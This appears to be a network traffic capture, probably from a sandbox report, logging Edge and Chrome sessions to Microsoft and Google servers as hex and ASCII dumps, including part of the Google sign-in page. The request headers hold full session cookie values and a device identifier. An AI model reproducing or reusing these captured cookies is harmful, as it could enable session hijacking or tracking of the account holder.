PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49913	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	528	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 1468 Connection: close Content-MD5: xw5y8uCoJhZdVfyk+U/L8Q== Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 30ef01d9-101e-005a-1076-496e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-rqwyzrc6b56exf4baradh405tn000000012g000000004en7 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49914	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	1512	OUT	GET /generate_204?z3RaYA HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; OTZ=7387175_52_52_123900_48_436380
2024-01-17 23:35:03 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:35:03 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49915	152.195.19.97	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	614	OUT	GET /filestreamingservice/files/008b3ca9-659d-4158-b079-5522d9c1cce3?P1=1706139284&P2=404&P3=2&P4=L9pk8EjofXaPGGnfSlCw4YkOcwppTAbvLD4MZY3uxdhSTCTiM3JnC0Ti45oPy2sQFGYtNvZmcgGEBwqV%2bv2Y1g%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: t5Edr8yuXvLvvqqNzWbDp/ Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:04 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10924475 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 17 Jan 2024 23:35:03 GMT Etag: "C1cbE/KK/NlpFRCAQr6xOmI6PNo=" Last-Modified: Wed, 13 Sep 2023 12:59:46 GMT MS-CorrelationId: c848b9b5-ee9f-4b67-a4c6-bf277f110e6b MS-CV: u8Mw59IEIf+Fv7P0pojFRO.0 MS-RequestId: 0aeecd12-d3f5-48f7-be0f-de835ceb96d6 Server: ECAcc (nyd/D19F) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.2 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 10987 Connection: close
2024-01-17 23:35:04 UTC	10987	IN	Data Raw: 43 72 32 34 03 00 00 00 1c 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49916	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	1925	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp2Fh1LVullqknwvfi41Bgz_cGuworpX9-qvX0psxzTFaAjKxJSIbTCzEnPsYVkspxjdHHyF&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S922877882%3A1705534476005670&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; OTZ=7387175_52_52_123900_48_436380
2024-01-17 23:35:04 UTC	2085	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Set-Cookie: __Host-GAPS=1:vwc5Fxh26ZaiFwvZVypSBIlciNnvtQ:StK8MVu31lxzbeEl; Expires=Fri, 16-Jan-2026 23:35:04 GMT; Path=/; Secure; HttpOnly; Priority=HIGH x-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/ x-ua-compatible: IE=edge Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:04 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vrETqZMEdYo_AXAxIv0edg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 76 72 45 54 71 5a 4d 45 64 59 6f 5f 41 58 41 78 49 76 30 65 64 67 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 44 6e 64 4c 59 62 22 3a 22 22 2c 22 44 70 69 6d 47 66 22 3a 66 61 6c 73 65 2c 22 45 Data Ascii: 8000<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><script data-id="_gd" nonce="vrETqZMEdYo_AXAxIv0edg">window.WIZ_global_data = {"DndLYb":"","DpimGf":false,"E
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 41 6c 67 5c 22 2c 5c 22 53 69 67 6e 61 74 75 72 65 5c 22 2c 5c 22 54 4c 5c 22 2c 5c 22 61 66 5c 22 2c 5c 22 61 6c 69 67 6e 6d 65 6e 74 5c 22 2c 5c 22 61 6c 77 66 5c 22 2c 5c 22 62 74 6d 70 6c 5c 22 2c 5c 22 63 5c 22 2c 5c 22 63 5f 61 66 77 74 5c 22 2c 5c 22 63 5f 62 72 73 7a 5c 22 2c 5c 22 63 5f 65 6e 61 62 6c 65 5c 22 2c 5c 22 63 5f 67 75 74 77 5c 22 2c 5c 22 63 5f 70 73 5f 65 5c 22 2c 5c 22 63 5f 70 73 5f 73 5c 22 2c 5c 22 63 5f 70 73 5f 74 5c 22 2c 5c 22 63 5f 73 74 66 73 5c 22 2c 5c 22 63 5f 73 74 66 77 74 5c 22 2c 5c 22 63 5f 73 74 73 5f 62 5c 22 2c 5c 22 63 5f 73 74 73 5f 74 5c 22 2c 5c 22 63 5f 74 66 73 5c 22 2c 5c 22 63 5f 74 66 77 74 5c 22 2c 5c 22 63 5f 74 73 5f 62 5c 22 2c 5c 22 63 5f 74 73 5f 74 5c 22 2c 5c 22 63 62 66 6c 6f 77 5c 22 2c 5c 22 Data Ascii: Alg\",\"Signature\",\"TL\",\"af\",\"alignment\",\"alwf\",\"btmpl\",\"c\",\"c_afwt\",\"c_brsz\",\"c_enable\",\"c_gutw\",\"c_ps_e\",\"c_ps_s\",\"c_ps_t\",\"c_stfs\",\"c_stfwt\",\"c_sts_b\",\"c_sts_t\",\"c_tfs\",\"c_tfwt\",\"c_ts_b\",\"c_ts_t\",\"cbflow\",\"
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 63 22 3a 2d 36 30 2c 22 74 52 73 7a 4c 22 3a 22 25 2e 40 2e 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 74 72 75 65 5d 5d 22 2c 22 74 68 79 6b 68 64 22 3a 22 41 46 57 4c 62 44 32 59 78 62 4a 71 61 6f 66 45 6c 6c 52 49 77 77 4d 6b 6d 4e 35 63 32 67 2d 70 39 64 33 6d 2d 6b 48 6a 4c 6e 56 66 47 67 6b 4a 45 38 51 56 50 6a 44 69 52 43 59 6f 45 4e 72 67 6f 6e 7a 67 38 59 62 4e 50 4b 34 4b 48 73 71 74 70 64 59 68 5a 4f 51 5f 45 33 76 46 59 69 65 53 61 30 63 6e 49 46 38 48 55 61 51 71 45 50 45 63 50 6c 45 50 7a 30 4f 71 46 49 54 54 62 59 33 46 6a 6e 57 4d 22 2c 22 75 51 39 4f 68 22 3a 30 2c 22 75 6e 4e 52 4d 62 22 3a 22 41 4b 4a 56 7a 63 71 31 6e 39 47 56 6c 78 69 6f 36 6b 44 68 6b 4f 5f 50 52 6e 31 68 71 58 77 33 33 4b 69 31 75 Data Ascii: c":-60,"tRszL":"%.@.null,null,null,null,[null,true]]","thykhd":"AFWLbD2YxbJqaofEllRIwwMkmN5c2g-p9d3m-kHjLnVfGgkJE8QVPjDiRCYoENrgonzg8YbNPK4KHsqtpdYhZOQ_E3vFYieSa0cnIF8HUaQqEPEcPlEPz0OqFITTbY3FjnWM","uQ9Oh":0,"unNRMb":"AKJVzcq1n9GVlxio6kDhkO_PRn1hqXw33Ki1u
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 61 2e 61 66 74 5f 63 6f 75 6e 74 65 72 2e 73 70 6c 69 63 65 28 62 2c 0a 31 29 2e 6c 65 6e 67 74 68 2c 30 3d 3d 3d 61 2e 61 66 74 5f 63 6f 75 6e 74 65 72 2e 6c 65 6e 67 74 68 26 26 62 26 26 63 29 29 29 61 2e 6f 6e 61 66 74 28 63 29 7d 2c 21 30 29 3b 61 2e 70 72 74 3d 2d 31 3b 61 2e 77 69 7a 5f 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 6e 28 22 70 72 74 22 29 3b 61 2e 70 72 74 3d 62 7d 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 6c 28 27 43 71 50 74 63 62 27 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 72 45 54 71 5a 4d 45 64 59 6f 5f 41 58 41 78 49 76 30 65 64 67 22 3e 76 61 72 20 5f 46 5f 63 73 73 52 6f 77 4b 65 79 20 3d 20 27 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f 75 6e 74 73 53 Data Ascii: a.aft_counter.splice(b,1).length,0===a.aft_counter.length&&b&&c)))a.onaft(c)},!0);a.prt=-1;a.wiz_tick=function(){var b=n("prt");a.prt=b}};}).call(this);l('CqPtcb')</script><script nonce="vrETqZMEdYo_AXAxIv0edg">var _F_cssRowKey = 'boq-identity.AccountsS
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 63 65 6e 74 65 72 20 63 65 6e 74 65 72 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 3a 3a 61 66 74 65 72 7b 74 6f 70 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 74 6f 70 2c 30 29 3b 6c 65 66 74 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 6c 65 66 74 2c 30 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 54 76 38 6c 35 64 2d 6c 4a 66 5a 4d 63 3a 3a 61 66 74 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 72 61 64 69 75 73 Data Ascii: ;transform-origin:center center}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd::after{top:var(--mdc-ripple-top,0);left:var(--mdc-ripple-left,0)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-Tv8l5d-lJfZMc::after{animation:mdc-ripple-fg-radius
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 6f 70 61 63 69 74 79 2c 30 2e 30 34 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 37 35 6d 73 3b 6f 70 61 63 69 74 79 3a 2e 31 32 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 6f 63 75 73 2d 6f 70 61 63 69 74 79 2c 30 2e 31 32 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 6e 6f Data Ascii: opacity,0.04)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe::before,.VfPpkd-ksKsZd-XxIAqe:not(.VfPpkd-ksKsZd-mWPk3d):focus::before{transition-duration:75ms;opacity:.12;opacity:var(--mdc-ripple-focus-opacity,0.12)}.VfPpkd-ksKsZd-XxIAqe:no
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 72 2d 72 61 64 69 75 73 3a 36 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d Data Ascii: r-radius:6px;box-sizing:content-box;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);height:100%;width:100%;display:none}@media screen and (forced-colors:active){.VfPpkd-Bz112c-J1Ukfc-LhBDec{border-color:CanvasText}}.VfPpkd-Bz112c-J1Ukfc-
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 63 2d 4a 68 39 6c 47 63 3a 3a 61 66 74 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 72 61 64 69 75 73 2d 69 6e 20 32 32 35 6d 73 20 66 6f 72 77 61 72 64 73 2c 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 69 6e 20 37 35 6d 73 20 66 6f 72 77 61 72 64 73 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 54 76 38 6c 35 64 2d 4f 6d 53 31 76 66 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 61 66 74 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 6f 75 74 20 2e 31 35 73 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 Data Ascii: c-Jh9lGc::after{animation:mdc-ripple-fg-radius-in 225ms forwards,mdc-ripple-fg-opacity-in 75ms forwards}.VfPpkd-Bz112c-LgbsSe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-Tv8l5d-OmS1vf .VfPpkd-Bz112c-Jh9lGc::after{animation:mdc-ripple-fg-opacity-out .15s;transform:transla
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 68 6f 76 65 72 2d 6f 70 61 63 69 74 79 2c 30 29 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 3a 64 69 73 61 62 6c 65 64 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 3a 64 69 73 61 62 6c 65 64 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 37 35 6d Data Ascii: :var(--mdc-ripple-hover-opacity,0)}.VfPpkd-Bz112c-LgbsSe:disabled.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Bz112c-LgbsSe:disabled:not(.VfPpkd-ksKsZd-mWPk3d):focus .VfPpkd-Bz112c-Jh9lGc::before{transition-duration:75m
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 3a 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e Data Ascii: and 